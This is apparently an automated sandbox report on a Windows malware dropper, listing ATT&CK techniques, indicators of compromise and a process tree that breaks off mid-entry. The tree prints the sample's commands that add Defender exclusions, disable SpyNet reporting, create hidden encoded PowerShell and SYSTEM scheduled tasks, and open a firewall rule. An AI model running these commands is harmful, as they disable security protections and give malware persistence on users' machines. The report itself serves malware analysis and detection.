djvu | e3683f1a58054c1166a94d5758848ed053777c7dc575a7af69c938b39f204eb5

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rKlG0105_QMP5yCEVWPcwfwN.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Oo3P2P2VOFHTfbT2AUs5ehOf.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2804	netsh.exe
2184	netsh.exe

Checks BIOS information in registry 2 TTPs 7 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rKlG0105_QMP5yCEVWPcwfwN.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rKlG0105_QMP5yCEVWPcwfwN.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Oo3P2P2VOFHTfbT2AUs5ehOf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Oo3P2P2VOFHTfbT2AUs5ehOf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	GcY5mYzrooPu5n33Ou1uEsNN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	xVovRr115da5UGt7mKVb47Cj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	Install.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk	FfTdssBgUOeUFS8ACw1xXwQq.exe

Executes dropped EXE 27 IoCs

pid	Process
2460	PRPSLOJESuJHQLjldDsEWa5D.exe
1856	HBZbjdUX0pRpCqEGONC_Y2ES.exe
2568	rKlG0105_QMP5yCEVWPcwfwN.exe
4748	7cKnjzD2VH8mdogK6Yqc74fk.exe
2868	aOiKcNVG4FAxtldCM7_Aj8fa.exe
760	MHJl5U5jh6JBITZpQcz7bkql.exe
5392	AKmdx4Gwhho65sDuSBTecSxH.exe
3644	JcMIo2ZYv_q90S6UZS5qMlPO.exe
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
5652	Install.exe
5820	T83K0fj1RPNZcK5ce9BGYbEr.exe
5972	Oo3P2P2VOFHTfbT2AUs5ehOf.exe
5980	FfTdssBgUOeUFS8ACw1xXwQq.exe
6088	GcY5mYzrooPu5n33Ou1uEsNN.exe
2816	xVovRr115da5UGt7mKVb47Cj.exe
6044	Ipjb8_Ct3Bu5_uNThO5sOupY.exe
6076	ZXVOsXkq1YByDDKKVRvePpsA.exe
2972	WbpOVj2wdHtADLlWkCQJXyxg.exe
4316	ozHYoRTpmXEy7Cy7N9wHNH1A.exe
5096	griZbGlDTQ2Gp9lRWbcAmGPV.exe
4896	wbicreator.exe
844	xVovRr115da5UGt7mKVb47Cj.exe
4520	WW9_64.exe
1380	Install.exe
1200	wbicreator.exe
3404	xVovRr115da5UGt7mKVb47Cj.exe
412	xVovRr115da5UGt7mKVb47Cj.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Software\Wine	rKlG0105_QMP5yCEVWPcwfwN.exe

Loads dropped DLL 8 IoCs

pid	Process
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
4520	WW9_64.exe
4520	WW9_64.exe
4748	7cKnjzD2VH8mdogK6Yqc74fk.exe
4748	7cKnjzD2VH8mdogK6Yqc74fk.exe
6076	ZXVOsXkq1YByDDKKVRvePpsA.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
320	icacls.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral14/files/0x0006000000023316-164.dat	themida
behavioral14/files/0x0006000000023316-715.dat	themida
behavioral14/files/0x0006000000023316-714.dat	themida
behavioral14/memory/5972-893-0x00000000007A0000-0x0000000000DB2000-memory.dmp	themida
behavioral14/memory/5972-902-0x00000000007A0000-0x0000000000DB2000-memory.dmp	themida
behavioral14/memory/5972-896-0x00000000007A0000-0x0000000000DB2000-memory.dmp	themida
behavioral14/memory/5972-988-0x00000000007A0000-0x0000000000DB2000-memory.dmp	themida

Unexpected DNS network traffic destination 7 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\6822f988-ccf5-4e57-afb4-dd971c700c06\\xVovRr115da5UGt7mKVb47Cj.exe\" --AutoStart"	xVovRr115da5UGt7mKVb47Cj.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV5 = "C:\\Users\\Admin\\AppData\\Local\\ExtreamFanV5\\ExtreamFanV5.exe"	FfTdssBgUOeUFS8ACw1xXwQq.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Oo3P2P2VOFHTfbT2AUs5ehOf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\eciaojnpihmgkbacgpjnimcpkfeklgag\1.0.5_0\manifest.json	GcY5mYzrooPu5n33Ou1uEsNN.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
201	iplogger.org
202	iplogger.org
256	iplogger.org
257	iplogger.org

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
221	ipinfo.io
58	api.myip.com
59	api.myip.com
60	ipinfo.io
61	ipinfo.io
217	api.myip.com
206	api.2ip.ua
208	api.2ip.ua
215	api.myip.com
222	ipinfo.io

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	GcY5mYzrooPu5n33Ou1uEsNN.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy	GcY5mYzrooPu5n33Ou1uEsNN.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	GcY5mYzrooPu5n33Ou1uEsNN.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	GcY5mYzrooPu5n33Ou1uEsNN.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1136	setup.exe
2568	rKlG0105_QMP5yCEVWPcwfwN.exe
5972	Oo3P2P2VOFHTfbT2AUs5ehOf.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2816 set thread context of 844	2816	xVovRr115da5UGt7mKVb47Cj.exe	105
PID 5096 set thread context of 3608	5096	griZbGlDTQ2Gp9lRWbcAmGPV.exe	117
PID 3404 set thread context of 412	3404	xVovRr115da5UGt7mKVb47Cj.exe	129
PID 6076 set thread context of 5088	6076	ZXVOsXkq1YByDDKKVRvePpsA.exe	134

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4576	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
4144	2868	WerFault.exe	90
1164	412	WerFault.exe	129
2548	5820	WerFault.exe	99
5956	4748	WerFault.exe	91

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MHJl5U5jh6JBITZpQcz7bkql.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MHJl5U5jh6JBITZpQcz7bkql.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MHJl5U5jh6JBITZpQcz7bkql.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7cKnjzD2VH8mdogK6Yqc74fk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7cKnjzD2VH8mdogK6Yqc74fk.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3748	schtasks.exe
5324	schtasks.exe
2572	schtasks.exe
1940	schtasks.exe
1960	schtasks.exe
5576	schtasks.exe
232	schtasks.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	xVovRr115da5UGt7mKVb47Cj.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1136	setup.exe
1136	setup.exe
760	MHJl5U5jh6JBITZpQcz7bkql.exe
760	MHJl5U5jh6JBITZpQcz7bkql.exe
2568	rKlG0105_QMP5yCEVWPcwfwN.exe
2568	rKlG0105_QMP5yCEVWPcwfwN.exe
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
5980	FfTdssBgUOeUFS8ACw1xXwQq.exe
5980	FfTdssBgUOeUFS8ACw1xXwQq.exe
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
5980	FfTdssBgUOeUFS8ACw1xXwQq.exe
5980	FfTdssBgUOeUFS8ACw1xXwQq.exe
844	xVovRr115da5UGt7mKVb47Cj.exe
844	xVovRr115da5UGt7mKVb47Cj.exe
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
4748	7cKnjzD2VH8mdogK6Yqc74fk.exe
4748	7cKnjzD2VH8mdogK6Yqc74fk.exe
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
6088	GcY5mYzrooPu5n33Ou1uEsNN.exe
6088	GcY5mYzrooPu5n33Ou1uEsNN.exe
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
760	MHJl5U5jh6JBITZpQcz7bkql.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	5380	chrome.exe
Token: SeCreatePagefilePrivilege	5380	chrome.exe
Token: SeDebugPrivilege	5088	MsBuild.exe
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found
Token: SeShutdownPrivilege	3492	Process not Found
Token: SeCreatePagefilePrivilege	3492	Process not Found

Suspicious use of FindShellTrayWindow 31 IoCs

pid	Process
5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp
3492	Process not Found
3492	Process not Found
3492	Process not Found
3492	Process not Found
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe
5380	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 760	1136	Process not Found	94
PID 1136 wrote to memory of 760	1136	Process not Found	94
PID 1136 wrote to memory of 760	1136	Process not Found	94
PID 1136 wrote to memory of 1856	1136	Process not Found	95
PID 1136 wrote to memory of 1856	1136	Process not Found	95
PID 1136 wrote to memory of 1856	1136	Process not Found	95
PID 1136 wrote to memory of 2460	1136	Process not Found	93
PID 1136 wrote to memory of 2460	1136	Process not Found	93
PID 1136 wrote to memory of 2460	1136	Process not Found	93
PID 1136 wrote to memory of 2568	1136	Process not Found	92
PID 1136 wrote to memory of 2568	1136	Process not Found	92
PID 1136 wrote to memory of 2568	1136	Process not Found	92
PID 1136 wrote to memory of 4748	1136	Process not Found	91
PID 1136 wrote to memory of 4748	1136	Process not Found	91
PID 1136 wrote to memory of 4748	1136	Process not Found	91
PID 1136 wrote to memory of 3644	1136	Process not Found	88
PID 1136 wrote to memory of 3644	1136	Process not Found	88
PID 1136 wrote to memory of 3644	1136	Process not Found	88
PID 1136 wrote to memory of 2868	1136	Process not Found	90
PID 1136 wrote to memory of 2868	1136	Process not Found	90
PID 1136 wrote to memory of 2868	1136	Process not Found	90
PID 1136 wrote to memory of 5392	1136	Process not Found	89
PID 1136 wrote to memory of 5392	1136	Process not Found	89
PID 1136 wrote to memory of 5392	1136	Process not Found	89
PID 1856 wrote to memory of 5684	1856	HBZbjdUX0pRpCqEGONC_Y2ES.exe	98
PID 1856 wrote to memory of 5684	1856	HBZbjdUX0pRpCqEGONC_Y2ES.exe	98
PID 1856 wrote to memory of 5684	1856	HBZbjdUX0pRpCqEGONC_Y2ES.exe	98
PID 3644 wrote to memory of 5652	3644	JcMIo2ZYv_q90S6UZS5qMlPO.exe	97
PID 3644 wrote to memory of 5652	3644	JcMIo2ZYv_q90S6UZS5qMlPO.exe	97
PID 3644 wrote to memory of 5652	3644	JcMIo2ZYv_q90S6UZS5qMlPO.exe	97
PID 1136 wrote to memory of 5820	1136	Process not Found	99
PID 1136 wrote to memory of 5820	1136	Process not Found	99
PID 1136 wrote to memory of 5820	1136	Process not Found	99
PID 1136 wrote to memory of 5972	1136	Process not Found	101
PID 1136 wrote to memory of 5972	1136	Process not Found	101
PID 1136 wrote to memory of 5972	1136	Process not Found	101
PID 1136 wrote to memory of 5980	1136	Process not Found	100
PID 1136 wrote to memory of 5980	1136	Process not Found	100
PID 1136 wrote to memory of 5980	1136	Process not Found	100
PID 1136 wrote to memory of 6044	1136	Process not Found	113
PID 1136 wrote to memory of 6044	1136	Process not Found	113
PID 1136 wrote to memory of 6044	1136	Process not Found	113
PID 1136 wrote to memory of 6076	1136	Process not Found	112
PID 1136 wrote to memory of 6076	1136	Process not Found	112
PID 1136 wrote to memory of 6076	1136	Process not Found	112
PID 1136 wrote to memory of 6088	1136	Process not Found	111
PID 1136 wrote to memory of 6088	1136	Process not Found	111
PID 1136 wrote to memory of 6088	1136	Process not Found	111
PID 1136 wrote to memory of 2816	1136	Process not Found	110
PID 1136 wrote to memory of 2816	1136	Process not Found	110
PID 1136 wrote to memory of 2816	1136	Process not Found	110
PID 1136 wrote to memory of 2972	1136	Process not Found	108
PID 1136 wrote to memory of 2972	1136	Process not Found	108
PID 1136 wrote to memory of 5096	1136	Process not Found	107
PID 1136 wrote to memory of 5096	1136	Process not Found	107
PID 1136 wrote to memory of 5096	1136	Process not Found	107
PID 1136 wrote to memory of 4316	1136	Process not Found	106
PID 1136 wrote to memory of 4316	1136	Process not Found	106
PID 1136 wrote to memory of 4316	1136	Process not Found	106
PID 2816 wrote to memory of 844	2816	xVovRr115da5UGt7mKVb47Cj.exe	105
PID 2816 wrote to memory of 844	2816	xVovRr115da5UGt7mKVb47Cj.exe	105
PID 2816 wrote to memory of 844	2816	xVovRr115da5UGt7mKVb47Cj.exe	105
PID 5684 wrote to memory of 4896	5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp	104
PID 5684 wrote to memory of 4896	5684	HBZbjdUX0pRpCqEGONC_Y2ES.tmp	104

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1136
- C:\Users\Admin\Documents\GuardFox\JcMIo2ZYv_q90S6UZS5qMlPO.exe
  "C:\Users\Admin\Documents\GuardFox\JcMIo2ZYv_q90S6UZS5qMlPO.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Users\Admin\AppData\Local\Temp\7zS11A5.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    PID:5652
  - - C:\Users\Admin\AppData\Local\Temp\7zS1A40.tmp\Install.exe
      .\Install.exe /MFFdidt "525403" /S
      4⤵
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Drops file in System32 directory
      Enumerates system info in registry
      PID:1380
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5948
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        
        PID:1288
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:1748
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:1616
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:856
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:1816
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:2564
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        
        PID:4452
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:1528
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "glrLJrRva" /SC once /ST 08:51:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:1940
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "glrLJrRva"
        5⤵
        
        PID:3060
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "glrLJrRva"
        5⤵
        
        PID:2620
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bokvhhUgtHQNbUrNPU" /SC once /ST 17:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\gCckOLUAyUDZmqr\gDwSKdh.exe\" r1 /LNsite_idduL 525403 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:1960
- C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe
  "C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe"
  2⤵
  - Executes dropped EXE
  PID:5392
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:5892
- - C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe
    "C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe"
    3⤵
    PID:2780
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:1288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:1796
    - - C:\Windows\system32\netsh.exe
        
